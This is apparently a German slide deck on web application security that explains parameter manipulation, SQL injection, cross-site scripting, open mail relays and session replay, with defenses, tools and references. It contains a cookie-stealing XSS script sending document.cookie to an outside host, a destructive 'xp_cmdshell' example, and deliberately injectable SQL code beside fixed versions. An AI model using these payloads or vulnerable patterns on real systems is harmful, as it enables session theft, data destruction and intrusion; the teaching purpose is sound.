Christian Wenz Karsten Samaschke Uwe Baumann Web Hacking Christian Wenz Karsten Samaschke Uwe Baumann

Was Sie erwartet Was ist Web Application Security? Der (Anti-)Hacker-Grundkurs Wo lauern Gefahren? Was kann man dagegen tun? Weiterführende Informationen

Web Application Security Sicherheit der Webapplikation Nicht Bugs des Webservers Sicherheitslücken, die durch potentiell unsicheren Code entstehen Unabhängig von der verwendeten Technologie (ASP, ASP.NET, JSP, PHP...)

Ein großes Problem Viele Lücken sind bekannt Zahllose Whitepapers und Bücher Beispiel: „OWASP Top 10“ – Open Web Application Security Project http://www.owasp.org/ Viele Entwickler wiegen sich dennoch in falscher Sicherheit Motto: „Wir verwenden SSL!“ „There is no patch for stupidity“ [SQLSecurity]

Ein typischer Web Shop… Demo-Applikation mit Sicherheitslücken Finden wir die Lücken, die Hacker finden sie garantiert!

Hacker-Grundkurs: Wir kaufen billiger ein ... Z.B. Eine Firewall für €1,00 Wir ermitteln Passwörter ... Wir verschaffen uns Administrator-Zugriff ...

Let‘s Hack!

„Never trust the Client!“ Howard‘s zwei Grundregeln [Howard] „Jede Eingabe ist destruktiv, solange nicht das Gegenteil bewiesen ist.“ „Daten müssen überprüft werden, da sie die Grenzen zwischen vertrauenswürdigen und nicht vertrauenswürdigen Umgebungen überschreiten.“

Einige bekannte Angriffe

Parametermanipulation Cross Site Request Forgeries (CSRF) Angreifer verändert Übergabeparameter der Zielsite Daten in (verstecken) Formularfeldern, Querystrings Beispiel: Preisinformationen, Authorisierungsflags usw. Grundprinzip: Daten kommen per GET/POST an, also schreiben wir uns unser Formular selber!

Parametermanipulation: Abwehr Keine relevanten Parameter zum Client schicken Session-Objekt verwenden Parameter verschlüsseln / hashen Beispiel für ASP.NET: Viewstate MAC (Message Authentication Code) Nur wenn unbedingt nötig verwenden! Andere Technologien: Standard-Verschlüsselungsalgorithmen verwenden

SQL Injection Angriff Angreifer schiebt der Site SQL-Code unter Die Zielsite leitet den SQL-Code an die Datenbank weiter Möglich, wenn dynamische SQL-Strings generiert werden SQL-Code wird unter der Identität und mit den Rechten der Applikation ausgeführt Im Extremfall ist das Auslesen der gesamten Datenbank möglich

Advanced SQL Injection Union Attack Eine zweite Anfrage wird an eine bestehende Anfrage „angehängt“ Abfrage von Systemtabellen möglich Unendliche Möglichkeiten für den Angreifer Drop Table Attack Angreifer kann ganze Tabellen mit einem kurzen Befehl löschen! Shell Attack (nur MS SQL Server) xp_cmdshell 'fdisk c:'

SQL Injection: Abwehr Kein dynamisches SQL verwenden Auf keinen Fall dynamisches SQL verwenden Dynamisches SQL vermeiden Auch in Stored Procedures! Parameterisierte Abfragen verwenden Schneller und sicherer Code kann in einigen Technologien per Wizard erzeugt werden

  Code (ASP.NET) 'Assign the SQLcommand MyCommand.CommandType = CommandType.Text MyCommand.CommandText = _ "SELECT * FROM Products WHERE OrderCode='" & OrderCode & "'" 'Execute the command MyConnection.Open() Dim MyReader As SqlDataReader = MyCommand.ExecuteReader(CommandBehavior.CloseConnection) ' Assign the SQLcommand MyCommand.CommandType = CommandType.Text MyCommand.CommandText = _ "SELECT * FROM Products WHERE OrderCode=@OrderCode" MyCommand.Parameters.Add(New System.Data.SqlClient.SqlParameter("@OrderCode", System.Data.SqlDbType.VarChar, 10, "OrderCode")).Value = OrderCode ' Execute the command MyConnection.Open() Dim MyReader As SqlDataReader = MyCommand.ExecuteReader(CommandBehavior.CloseConnection) 

Code (PHP/MySQL)  <?php $db = mysql_connect('server', 'user', 'passwort'); $sql = sprintf( 'SELECT * FROM users WHERE username='%s' AND password='%s', $_POST['name'], $_POST['pwd']); $ergebnis = mysql_query($sql, $db); ?> <?php $db = mysql_connect('server', 'user', 'passwort'); $sql = sprintf( 'SELECT * FROM users WHERE username='%s' AND password='%s', mysql_real_escape_string($_POST['name']), mysql_real_escape_string($_POST['pwd'])); $ergebnis = mysql_query($sql, $db); ?>  *Überprüfung, ob $_POST gefüllt ist, entfällt aus Platzgründen

Prepared Statements (MySQLi) <?php $db = mysqli_connect('server', 'user', 'passwort'); $sql = mysqli_prepare($db, 'SELECT * FROM users WHERE username=? AND password=?'); mysqli_stmt_bind_param( $sql, 'ss', $_POST['name'], $_POST['pwd']); mysqli_stmt_execute($sql); ?>  *Überprüfung, ob $_POST gefüllt ist, entfällt aus Platzgründen

SQL Injection: Abwehr (2) Minimale Rechte für die Applikation vergeben Schützt vor dem Supergau LPAs (Low Privilege Accounts) zur Applikationsausführung und auf der Datenbank anlegen Applikation darf nicht Owner der Datenbanktabelle sein

Cross-Site Scripting (XSS) Angriff Angreifer zwingt die Zielsite zur Anzeige von Skriptcode Unendliche Möglichkeiten für den Angreifer Ausführen von schädlichem Code Umleitung auf andere Site Ausspionieren von Cookies <script language="JavaScript"><!-- location.href="http://3733+.de/?"+document.cookie //--></script>

XSS: Abwehr Validierung von Parametern Auf potentiell unsichere Zeichen und Tags prüfen „<script>“ etc.)  Eingaben mit HtmlEncode() umwandeln ASP.NET 1.1 nimmt Überprüfung automatisch vor und generiert Fehler (abfangen!) ASP.NET 1.0 verlangt manuelle Überprüfung PHP: htmlspecialchars() Java: selbst schreiben

XSS: Fallen Keine „Reparaturversuche“ unternehmen Frage lautet: „Was ist illegal?“ „Escaping“ (Verdoppeln) von Hochkommata Suchen nach speziellen Zeichen wie < etc. Besser: Definition der legalen Zeichen Frage lautet: „Was ist legal?“ Dynamische Ausgaben prüfen Ein AAAAAAAAAA…A zerstört jedes Design Abhilfe in PHP: wordwrap()

Open Mail Relay Angriff Angreifer sendet Mail über die Zielsite Möglich, wenn die Zielsite die Mailempfänger als Eingabeparameter akzeptiert Angreifer kann Versand automatisieren, um Spam zu verschicken Allgemein riskant: Formular-Mailversand Wird zurzeit gerne von Spammern verwendet Eingabevalidierung

Open Mail Relay: Abwehr Validierung von Parametern Keine frei wählbaren Empfängeradressen zulassen Seite zum Mailversand ggf. hinter die Autorisierungsgrenze verlegen

Replay-Angriff Angreifer „klaut“ Session-Cookie Möglich durch XSS-Angriff, Abfangen der HTTP-Kommunikation, Social Engineering, Umgebungsvariable HTTP_REFERER Cookie enthält die Session-ID eines Users Angreifer kann sich als dieser User „tarnen“ [Finnel]

Replay-Angriff: Abwehr Kommunikation über SSL (HTTPS) Nachteil: Sehr hoher Rechenaufwand IIS 6: Bessere Unterstützung von SSL Hardwarelösungen Cross-Site-Scripting ausschließen Session an IP-Adresse binden HTTP_REFERER-Check (nicht in jedem Webbrowser )

Weitere Tipps

Datenbank absichern MSSQL: Trusted Connections verwenden Verwendet NTLM zwischen Applikation und SQL Server Kein Klartextpasswort im Connection String Leider nur für SQL Server möglich Verwendung von IPSec erwägen Verschlüsselung von Kommunikation zwischen Applikationsserver und Datenbankserver uvm. SQL Server Best Practices Analyzer 1.0 [SQLBPA]

Low Privilege Account (LPA) So viele Rechte wie nötig, so wenig wie möglich Bestimmte Rechte sind zur Applikationsausführung nötig Alle anderen Rechte sollten nur nach weiser Überlegung gewährt werden Genaue Anforderungen für LPAs sind dokumentiert [Finnel]

Microsoft Baseline Security Analyzer 2.0 Identifiziert problematische Konfigurationen Prüft Updatelevel Erstellt Reports Macht Vorschläge Gibt Informationen Prüft Windows, IIS, SQL uvm. Lokal und Remote

IIS Lockdown Tool 2.1 Deaktiviert nicht genützte Features Rollenbasiert, z.B. Webserver, Messaging etc. URLScan filtert potentiell unsichere HTTP-Requests Filterregeln frei konfigurierbar ASP.NET Debugging: [Q310588] beachten!

Microsoft Security Bulletins Wichtigste Ressource für Security Patches „Hätten wir nur früher reagiert...!“ Code Red SQL Slammer

Vielen Dank! Fragen kostet nichts ... Eine geknackte Website schon! Besser paranoid als offline ™

Weitere Informationen [Q329290] Verschlüsselte web.config-Einträge: http://support.microsoft.com/default.aspx?scid=kb;EN-US;329290#3 [Wintellect] Wintellect ASP.NET FAQ (mit vielen Security-Fragen) http://www.wintellect.com/resources/faqs/default.aspx?faq_id=1&page=1 [Finnel] “Patterns and Practices: Building Secure ASP.NET Applications”. Lynn Finnel (ed.). Microsoft Press, 2003. ISBN 0-7356-1890-9. Buch als PDF File: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnnetsec/html/secnetlpMSDN.asp [Howard] „Sichere Software programmieren“. Michael Howard, David LeBlanc. Microsoft Press, 2002. ISBN 3-86063-674-X. [Basiura] „Professional ASP.NET Security“. Russ Basiura et al. Wrox Press, 2002. ISBN 1-86100-620-9.

Weitere Informationen [OWASP] The Open Web Application Security Project http://www.owasp.org [OWASPTop10] „The 10 Most Critical Web Application Vulnerablity“ http://prdownloads.sourceforge.net/owasp/OWASPTopTen2004.pdf?download [SQLSecurity] SQLSecurity.com http://www.sqlsecurity.com [SQLSecLock] SQLSecurity Checklist http://www.sqlsecurity.com/DesktopDefault.aspx?tabindex=3&tabid=4 [AdvSQLInj] „Advanced SQL Injection In SQL Server Applications“. Chris Anley. http://www.nextgenss.com/papers/advanced_sql_injection.pdf [SQLBPA] Microsoft SQL Server 2000 Best Practices Analyzer 1.0 Beta http://www.microsoft.com/downloads/details.aspx?FamilyId=B352EB1F-D3CA-44EE-893E-9E07339C1F22&displaylang=en

Weitere Informationen [QDefense] „AdCycle AdCycle SQL Command Insertion Vulnerability” (Beispiel für SQL Injection) http://qdefense.com/Advisories/QDAV-2001-7-2.html [MBSA] Microsoft Baseline Security Analyser http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/tools/mbsahome.asp [Q310588] “PRB: Security Toolkit Breaks ASP.NET Debugging in Visual Studio .NET” http://support.microsoft.com/default.aspx?scid=kb;en-us;310588 [MSSec] Microsoft Security Bulletins http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/